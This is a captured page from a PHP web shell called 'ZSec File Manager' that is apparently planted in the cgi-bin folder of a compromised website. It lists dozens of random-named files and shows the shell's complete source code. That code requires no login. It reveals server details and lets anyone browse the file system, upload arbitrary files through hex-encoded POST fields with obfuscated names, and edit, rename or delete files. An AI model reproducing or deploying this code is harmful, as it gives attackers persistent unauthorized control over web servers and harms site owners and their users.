ZSec File Manager
Upload
Current Directory: /home/greakqsw/theblogginglab.org/5uq8v7-20260314182546/3myf64/cgi-bin
[Up]
..
[Open]
Hapus
Rename
cgi-bin.tar
[Edit]
Hapus
Rename
cgi-bin.tar.gz
[Edit]
Hapus
Rename
cgi-bin.zip
[Edit]
Hapus
Rename
error_log
[Edit]
Hapus
Rename
q7m5c4.zip
[Edit]
Hapus
Rename
tirl3n
[Open]
Hapus
Rename
tkh85g
[Open]
Hapus
Rename
tknr36
[Open]
Hapus
Rename
trfgan
[Open]
Hapus
Rename
tsr1pl
[Open]
Hapus
Rename
tyci5f
[Open]
Hapus
Rename
tzbjq8
[Open]
Hapus
Rename
u1a79.php
[Edit]
Hapus
Rename
u1qoni
[Open]
Hapus
Rename
u3e59t
[Open]
Hapus
Rename
u47kst
[Open]
Hapus
Rename
u7pcem
[Open]
Hapus
Rename
u9qhik
[Open]
Hapus
Rename
u9w37n
[Open]
Hapus
Rename
ua901m
[Open]
Hapus
Rename
ubvd83
[Open]
Hapus
Rename
ui1esz
[Open]
Hapus
Rename
ujxzdn
[Open]
Hapus
Rename
ujz0w7
[Open]
Hapus
Rename
ukjeos
[Open]
Hapus
Rename
unym16
[Open]
Hapus
Rename
up8zqf
[Open]
Hapus
Rename
upqx1d
[Open]
Hapus
Rename
usxil9
[Open]
Hapus
Rename
utfwzy
[Open]
Hapus
Rename
ux5t2y
[Open]
Hapus
Rename
ux785m
[Open]
Hapus
Rename
uyx89n
[Open]
Hapus
Rename
v0tjp3
[Open]
Hapus
Rename
v4ax76
[Open]
Hapus
Rename
v4zbrn
[Open]
Hapus
Rename
v5ol1z
[Open]
Hapus
Rename
v5x16c
[Open]
Hapus
Rename
v71t3z
[Open]
Hapus
Rename
v7fhcb
[Open]
Hapus
Rename
v95wi.php
[Edit]
Hapus
Rename
v9umcn
[Open]
Hapus
Rename
vakwlt
[Open]
Hapus
Rename
vf2s0.php
[Edit]
Hapus
Rename
vf6tc.php
[Edit]
Hapus
Rename
vitd6l
[Open]
Hapus
Rename
viukyl
[Open]
Hapus
Rename
vkyus1
[Open]
Hapus
Rename
vmzfel
[Open]
Hapus
Rename
vpo37j
[Open]
Hapus
Rename
vqkb6o
[Open]
Hapus
Rename
vs6ltc
[Open]
Hapus
Rename
vshi6f
[Open]
Hapus
Rename
vuwpao
[Open]
Hapus
Rename
vwuifk
[Open]
Hapus
Rename
vxm76u
[Open]
Hapus
Rename
vxuw6g
[Open]
Hapus
Rename
vyihjl
[Open]
Hapus
Rename
w1q2cv
[Open]
Hapus
Rename
w4gzvt
[Open]
Hapus
Rename
wb1xok
[Open]
Hapus
Rename
wb76ju
[Open]
Hapus
Rename
wbvxm8
[Open]
Hapus
Rename
wg0m2c
[Open]
Hapus
Rename
wgu6pc
[Open]
Hapus
Rename
wjvlno
[Open]
Hapus
Rename
wjzbch
[Open]
Hapus
Rename
wspx1g
[Open]
Hapus
Rename
wufim.php
[Edit]
Hapus
Rename
wz3n58
[Open]
Hapus
Rename
x27ki3
[Open]
Hapus
Rename
x4b9lh
[Open]
Hapus
Rename
x5i6se
[Open]
Hapus
Rename
x701wm
[Open]
Hapus
Rename
x7oeat
[Open]
Hapus
Rename
x8kj7p
[Open]
Hapus
Rename
x8w5lt
[Open]
Hapus
Rename
xa0h9i
[Open]
Hapus
Rename
xbin1q
[Open]
Hapus
Rename
xbqu0a
[Open]
Hapus
Rename
xc4w0a
[Open]
Hapus
Rename
xc73as
[Open]
Hapus
Rename
xdk7ab
[Open]
Hapus
Rename
xdwb83
[Open]
Hapus
Rename
xglcor
[Open]
Hapus
Rename
xiukjw
[Open]
Hapus
Rename
xky15q
[Open]
Hapus
Rename
xnv01u
[Open]
Hapus
Rename
xoaym7
[Open]
Hapus
Rename
xod4je
[Open]
Hapus
Rename
xomt90
[Open]
Hapus
Rename
xvjzid
[Open]
Hapus
Rename
xzqeyn
[Open]
Hapus
Rename
y03sal
[Open]
Hapus
Rename
y03sal.tar.gz
[Edit]
Hapus
Rename
y14v8o
[Open]
Hapus
Rename
y27cn.php
[Edit]
Hapus
Rename
y2qi83
[Open]
Hapus
Rename
y2tw9o
[Open]
Hapus
Rename
y35a6w
[Open]
Hapus
Rename
y3eju8
[Open]
Hapus
Rename
y562xz
[Open]
Hapus
Rename
yb8tpn
[Open]
Hapus
Rename
yd960u
[Open]
Hapus
Rename
ydux3m
[Open]
Hapus
Rename
ye34mp
[Open]
Hapus
Rename
yent2p
[Open]
Hapus
Rename
ygo9kl
[Open]
Hapus
Rename
yid1al
[Open]
Hapus
Rename
yoepax
[Open]
Hapus
Rename
ys1mp8
[Open]
Hapus
Rename
ytepab
[Open]
Hapus
Rename
yvmkrh
[Open]
Hapus
Rename
yzel8j
[Open]
Hapus
Rename
z0ve4w
[Open]
Hapus
Rename
z3wbfx
[Open]
Hapus
Rename
z46c5r
[Open]
Hapus
Rename
z5liqm
[Open]
Hapus
Rename
z5wbkr
[Open]
Hapus
Rename
z6fv0s
[Open]
Hapus
Rename
z6vj0x
[Open]
Hapus
Rename
z7fs5e
[Open]
Hapus
Rename
z7ruqc
[Open]
Hapus
Rename
z86uk.php
[Edit]
Hapus
Rename
z8op2.php
[Edit]
Hapus
Rename
zhx8v.php
[Edit]
Hapus
Rename
zi7qcd
[Open]
Hapus
Rename
zjuegi
[Open]
Hapus
Rename
zles58
[Open]
Hapus
Rename
zvoctr
[Open]
Hapus
Rename
zy1fvx
[Open]
Hapus
Rename
Edit File
<?php session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE); $isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'; function hex($n) { $y=''; for ($i=0; $i < strlen($n); $i++){ $y .= dechex(ord($n[$i])); } return $y; } function uhex($y) { $n=''; for ($i=0; $i < strlen($y)-1; $i+=2){ $n .= chr(hexdec($y[$i].$y[$i+1])); } return $n; } if (isset($_GET["d"])) { $d = uhex($_GET["d"]); if (is_dir($d)) { chdir($d); } else { $d = getcwd(); } } else { $d = getcwd(); } function setFlash($status, $msg) { $_SESSION['status'] = $status; $_SESSION['msg'] = $msg; } if (isset($_GET['ajax']) && $_GET['ajax'] == 1) { ?> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Actions</th> </tr> </thead> <tbody> <?php $entries = scandir($d); $dirList = []; $fileList = []; foreach ($entries as $entry) { if ($entry == '.' || $entry == '..') continue; $path = $d . DIRECTORY_SEPARATOR . $entry; if (is_dir($path)) { $dirList[] = $entry; } else { $fileList[] = $entry; } } foreach ($dirList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo '<tr>'; echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>'; echo '<td>-</td>'; echo '<td></td>'; echo '</tr>'; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo '<tr>'; echo '<td>' . htmlspecialchars($entry) . '</td>'; echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>'; echo '<td>'; echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | '; echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | '; echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>'; echo '</td>'; echo '</tr>'; } ?> </tbody> </table> <?php exit; } if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') { $k = preg_split("/(\\\\|\/)/", $d); $breadcrumbHtml = ''; foreach ($k as $m => $l) { if ($l == '' && $m == 0) { $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>'; } if ($l == '') continue; $breadcrumbHtml .= '<a class="ajx" href="?d='; for ($i = 0; $i <= $m; $i++) { $breadcrumbHtml .= hex($k[$i]); if ($i != $m) $breadcrumbHtml .= '2f'; } $breadcrumbHtml .= '">'.$l.'</a>/'; } echo $breadcrumbHtml; exit; } function safe_stream_copy($in, $out): bool { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } if (fwrite($out, $buff) === false) { return false; } } } while (!feof($in)); return true; } else { return stream_copy_to_stream($in, $out) !== false; } } if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) { $fileName = $_POST['benkyo']; $encodedContent = $_POST['dakeja']; $decodedContent = hex2bin($encodedContent); if ($decodedContent === false) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']); } else { setFlash('failed', 'Invalid Base64 encoding'); header("Location: ?d=" . hex($d)); } exit; } $tempStream = fopen('php://temp', 'r+'); fwrite($tempStream, $decodedContent); rewind($tempStream); $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName); $outStream = fopen($targetPath, 'wb'); $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream); if ($outStream) fclose($outStream); if ($tempStream) fclose($tempStream); if ($success) { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']); } else { setFlash('success', 'File uploaded successfully'); header("Location: ?d=" . hex($d)); } } else { if ($isAjax) { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']); } else { setFlash('failed', 'File upload failed'); header("Location: ?d=" . hex($d)); exit; } } exit; } if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) { if ($_GET['action'] === 'delete') { $fileName = $_GET['file']; $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName); if (!$filePath || !is_file($filePath)) { $response = ['status'=>'failed','msg'=>'File not found or access denied']; } else { $result = unlink($filePath); $response = $result ? ['status'=>'success','msg'=>'File deleted successfully'] : ['status'=>'failed','msg'=>'File deletion failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } elseif ($_GET['action'] === 'rename') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) { $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name']; if ($oldFile && is_file($oldFile)) { $result = rename($oldFile, $newFile); $response = $result ? ['status'=>'success','msg'=>'File renamed successfully'] : ['status'=>'failed','msg'=>'File renaming failed']; header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status'=>'failed','msg'=>'File not found']); exit; } } elseif ($isAjax) { echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>'; echo '<div class="terminal-box">'; echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">'; echo '<input type="text" name="new_name" placeholder="New file name" required><br>'; echo '<br><input type="submit" value="Rename"> '; echo '<button type="button" id="cancelAction">Cancel</button>'; echo '</form>'; echo '</div><hr>'; exit; } } elseif ($_GET['action'] === 'edit') { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $fp = fopen($filePath, "w"); if ($fp) { $bytesWritten = fwrite($fp, stripslashes($_POST['content'])); fclose($fp); $response = ($bytesWritten !== false) ? ['status' => 'success', 'msg' => 'File edited successfully'] : ['status' => 'failed', 'msg' => 'File editing failed']; } else { $response = ['status' => 'failed', 'msg' => 'File opening failed']; } header('Content-Type: application/json'); echo json_encode($response); exit; } else { header('Content-Type: application/json'); echo json_encode(['status' => 'failed', 'msg' => 'File not found']); exit; } } elseif ($isAjax) { $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']); if ($filePath && is_file($filePath)) { $content = file_get_contents($filePath); echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>'; echo '<div class="terminal-box">'; echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">'; echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>'; echo '<br><input type="submit" value="Save"> '; echo '<button type="button" id="cancelAction">Cancel</button>'; echo '</form>'; echo '</div><hr>'; } exit; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Sind3</title> <!-- Load Ubuntu Mono from Google Fonts --> <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet"> <style> * { box-sizing: border-box; } body { background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */ color: #fff; font-family: 'Ubuntu Mono', monospace; margin: 0; padding: 0; } .container { width: 60%; margin: 50px auto; padding: 20px; background-color: #222; border-radius: 8px; } .futer { width: 60%; margin: 50px auto; padding: 20px; background-color: #222; border-radius: 8px; } .breadcrumbs { margin-bottom: 15px; } a { color: #0f0; text-decoration: none; } a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 20px; } th, td { border: 1px solid #555; padding: 8px; text-align: left; } th { background-color: #333; } input[type="text"], textarea { width: 100%; padding: 8px; margin: 0; border: 1px solid #333; border-radius: 4px; font-family: 'Ubuntu Mono', monospace; } input[type="submit"], button { border: 1px solid #fff; padding: 4px; background-color: #333; color: #fff; cursor: pointer; border-radius: 4px; } form { margin-bottom: 20px; } .terminal-box { background-color: #222; color: #0f0; padding: 15px; border: 1px solid #333; border-radius: 4px; margin-bottom: 20px; } .terminal-box input[type="text"], .terminal-box textarea { background-color: #222; color: #0f0; border: 1px solid #333; } .notification { position: fixed; bottom: 20px; left: 20px; padding: 10px 20px; border-radius: 4px; font-family: 'Ubuntu Mono', monospace; font-size: 14px; } .success { background-color: #0a0; color: #fff; } .failed { background-color: #a00; color: #fff; } /* Custom file input button styling */ #fileInput { display: none; } .custom-file-button { border: 1px solid #fff; padding: 4px; background-color: #333; color: #fff; cursor: pointer; border-radius: 4px; display: inline-block; } </style> </head> <body> <div class="container">    <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>    <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>    <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br> <br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b> <br><br><form id="uploadForm" class="ajaxForm" method="POST"> <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label> <input type="file" id="fileInput" required> <input type="submit" value="Upload"> </form> <br><div id="breadcrumbContainer"> <?php $k = preg_split("/(\\\\|\/)/", $d); foreach ($k as $m => $l) { if ($l == '' && $m == 0) { echo '<a class="ajx" href="?d=2f">/</a>'; } if ($l == '') continue; echo '<a class="ajx" href="?d='; for ($i = 0; $i <= $m; $i++) { echo hex($k[$i]); if ($i != $m) echo '2f'; } echo '">'.$l.'</a>/'; } ?> </div><br> <div id="actionContainer"></div><br> <div id="fileListContainer"> <?php $entries = scandir($d); $dirList = []; $fileList = []; foreach ($entries as $entry) { if ($entry == '.' || $entry == '..') continue; $path = $d . DIRECTORY_SEPARATOR . $entry; if (is_dir($path)) { $dirList[] = $entry; } else { $fileList[] = $entry; } } ?> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($dirList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo '<tr>'; echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>'; echo '<td>-</td>'; echo '<td></td>'; echo '</tr>'; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo '<tr>'; echo '<td>' . htmlspecialchars($entry) . '</td>'; echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>'; echo '<td>'; echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | '; echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | '; echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>'; echo '</td>'; echo '</tr>'; } ?> </tbody> </table> </div> </div> <div class="notification" id="notification" style="display:none;"></div> <script> // Show notification in the bottom left corner; auto-dismiss after 2 seconds. function showNotification(status, msg) { var notif = document.getElementById('notification'); notif.className = 'notification ' + status; notif.innerText = msg; notif.style.display = 'block'; setTimeout(function(){ notif.style.display = 'none'; }, 2000); } function loadBreadcrumb() { var d = getQueryParam("d") || "<?php echo hex($d); ?>"; fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.text()) .then(html => { document.getElementById('breadcrumbContainer').innerHTML = html; }); } function getQueryParam(name) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(name); } function loadFileList() { var d = getQueryParam("d") || "<?php echo hex($d); ?>"; fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.text()) .then(html => { document.getElementById('fileListContainer').innerHTML = html; attachAjaxEvents(); // reattach events after update resetFileInputLabel(); }); } function resetFileInputLabel() { var label = document.getElementById('fileLabel'); if(label) { label.textContent = "Choose File"; } } function attachAjaxEvents() { document.querySelectorAll('.ajaxDelete').forEach(function(link) { link.addEventListener('click', function(e) { e.preventDefault(); fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.json()) .then(data => { showNotification(data.status, data.msg); loadFileList(); resetFileInput(); }); }); }); document.querySelectorAll('.ajaxEdit').forEach(function(link) { link.addEventListener('click', function(e) { e.preventDefault(); fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.text()) .then(html => { document.getElementById('actionContainer').innerHTML = html; attachAjaxForm(); attachCancelEvent(); resetFileInputLabel(); resetFileInput(); }); }); }); document.querySelectorAll('.ajaxRename').forEach(function(link) { link.addEventListener('click', function(e) { e.preventDefault(); fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.text()) .then(html => { document.getElementById('actionContainer').innerHTML = html; attachAjaxForm(); attachCancelEvent(); resetFileInputLabel(); resetFileInput(); }); }); }); document.querySelectorAll('.ajaxDir').forEach(function(link) { link.addEventListener('click', function(e) { e.preventDefault(); window.history.pushState(null, '', link.href); loadFileList(); // Reload the file list loadBreadcrumb(); // Reload the breadcrumb resetFileInputLabel(); resetFileInput(); }); }); } function attachAjaxForm() { document.querySelectorAll('.ajaxForm').forEach(function(form) { form.addEventListener('submit', function(e) { e.preventDefault(); var formData = new FormData(form); fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.json()) .then(data => { showNotification(data.status, data.msg); document.getElementById('actionContainer').innerHTML = ''; loadFileList(); resetFileInputLabel(); }); }); }); } function attachCancelEvent() { var cancelBtn = document.getElementById('cancelAction'); if(cancelBtn) { cancelBtn.addEventListener('click', function() { document.getElementById('actionContainer').innerHTML = ''; resetFileInputLabel(); }); } } function resetFileInput() { var fileInput = document.getElementById('fileInput'); var fileLabel = document.getElementById('fileLabel'); if (fileInput) { fileInput.value = ""; // Clear any selected file } if (fileLabel) { fileLabel.textContent = "Choose File"; // Reset label text } } document.addEventListener('DOMContentLoaded', function() { attachAjaxEvents(); var fileInput = document.getElementById('fileInput'); var uploadForm = document.getElementById('uploadForm'); fileInput.addEventListener('change', function() { var label = document.getElementById('fileLabel'); if(fileInput.files.length > 0) { label.textContent = fileInput.files[0].name; } else { label.textContent = "Choose File"; } }); if(uploadForm) { uploadForm.addEventListener('submit', function(e) { e.preventDefault(); if(fileInput.files.length === 0) return; var file = fileInput.files[0]; var reader = new FileReader(); reader.onload = function(event) { var arrayBuffer = event.target.result; var bytes = new Uint8Array(arrayBuffer); var hexString = ''; for (var i = 0; i < bytes.length; i++) { hexString += bytes[i].toString(16).padStart(2, '0'); } var formData = new FormData(); formData.append("benkyo", file.name); formData.append("dakeja", hexString); fetch(uploadForm.action || window.location.href, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } }) .then(response => response.json()) .then(data => { showNotification(data.status, data.msg); uploadForm.reset(); resetFileInputLabel(); loadFileList(); }); }; reader.readAsArrayBuffer(file); }); } }); </script> <footer class="futer"> © zeinhorobosu </footer> </body> </html>
Simpan